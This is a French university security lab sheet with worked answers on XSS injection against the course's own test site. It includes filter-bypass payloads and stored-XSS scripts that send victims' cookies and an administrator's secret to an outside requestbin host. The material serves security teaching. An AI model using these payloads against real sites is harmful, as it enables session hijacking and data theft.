Semaine 7: Vulnérabilitées web, injection XSS
IPL I317B Sécurité : labo

Olivier Choquet & Thibault Vanwersch

26 octobre 2021

Objectif

Après les injections SQL, il est temps de passer à un autre type d'injection : les injections XSS. Pour ces exercices, nous vous recommandons d'utiliser le navigateur Firefox plutôt que Chrome, ce dernier dispose de certaines contre-mesures qui peuvent perturber les exercices.

Questions

Exercice 1 :

a) Pour ce premier exercice, le but est de procéder à une injection xss trivial sur une variante le site suivant permettant de chercher les éléments du tableau périodique des éléments : http://labosecuipl.alwaysdata.net/21/s07/ex1/
Votre injection doit afficher une alerte affichant le texte : "I hacked you"

- Quelle valeur avez-vous entrée et où l'avez vous entrée ?

<script>alert("I hacked you");</script>

Il suffit de taper cela dans le formulaire de recherche. Le serveur va réinjecter "bêtement" le contenu de la requête GET dans la page qu'il sert. Les balises scripts tapée dans le formulaire seront donc rendu sur la page.

Si on ne veut pas casser le dom, il est toujours possible d'injecter :
</h2><script>alert("I hacked you");</script><h2>

b) Pouvez-vous également récolter les cookies du site de l'exercice *1a* avec votre injection xss ?

<script>alert(document.cookie);</script>

c) Pouvez-vous essayer les mêmes injections sur le formulaire suivant : http://labosecuipl.alwaysdata.net/21/s07/ex1c/ ?

Si **<script>** et **</script>** sont interdit ... on inject avec n'importe quelle variante : **<scrIpt>**, **<ScriPt>**, etc...

<scrIpt>alert("hacked")</scrIpt>

d) Pouvez-vous essayer les mêmes injections sur le formulaire suivant : http://labosecuipl.alwaysdata.net/21/s07/ex1d/ ?

Si **<script>** et **</script>** sont interdit, même avec des variantes de case ... on essaye avec des espaces : **<script >**, **</script >**,...

<script >alert("hacked")</script >

e) Pouvez-vous essayer les mêmes injections sur le formulaire suivant : http://labosecuipl.alwaysdata.net/21/s07/ex1e/ ?

Si le string "script" est interdit ... on peut utiliser d'autres tags html qui permettent l'exécution de javascript :

<img src=/404 onerror="alert('hacked')">

Exercice 2 :

a) Pour ce second exercice, vous allez utilisez le site, nous vous invitons à utiliser le service https://requestbin.net/ pour "exfiltrer" les cookies que vous avez récupérer lors du premier exercice : http://labosecuipl.alwaysdata.net/21/s07/ex1/

```
<script>
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://requestbin.net/r/XXXXX?c=" + document.cookie, false);
xmlHttp.send(null);
</script>
```

b) Pour ce second exercice, vous allez utilisez le site suivant sur lequel vous pouvez créer un compte : https://labosecuipl.alwaysdata.net/21/s07/ex2b/

- Votre objectif est de récupérer les cookies de l'administrateur.

À priori, il est possible de contacter l'administrateur via le formulaire de contact, nous essayerons donc d'injecter là. La prochaine fois que l'administrateur consulte sa page d'administration, il devrait afficher vos messages.
Nous pouvons "exfiltrer" des informations en AJAX en les envoyant en javascript vers un serveur tierce comme par exemple un "requestbin" que nous avons vu plusieurs fois.

```
<script>
var xmlHttp = new XMLHttpRequest();
 xmlHttp.open("GET", "http://requestbin.net/r/XXXXX?c=" + document.cookie, false);
xmlHttp.send(null);
</script>
```

Ces cookies sont bien évidement injectable dans le navigateur avec une extension de type "Cookie Editor". Cela vous permet de vous faire passer pour l'administrateur.

c) Maintenant que vous avez voler les cookies de l'administrateur, parvenez-vous à récupérer son secret ? Si oui, comment ?
(oui, c'est faisable. Spoiler: toujours plus d'ajax ;-))

Apparemment, même en injectant les cookies récupéré à l'exercice précédent, nous ne parvenons pas à récupérer le secret de l'admin. Pourquoi ne pas récupérer celui-ci directement dans le navigateur de l'administrateur via une injection XSS pour ensuite nous le renvoyer en faisant une double requête ajax ? Note : Le site dispose de jquery, profitons en pour l'utiliser.

- Première requête, on lit la page de profile local.
- Deuxième requête, on exfiltre le secret lu dans la page lors de la 1ère requête.

```
<script>
$.ajax({
   url: 'https://labosecuipl.alwaysdata.net/21/s07/ex2b/profile/',
   success: function(data) {
      var s = $(data).find("#secret").text();
      $.ajax({
            url: ('http://requestbin.net/r/XXXXXX?' + btoa(s)),
            success: function(data2) {}
      });
   }
});</script>
```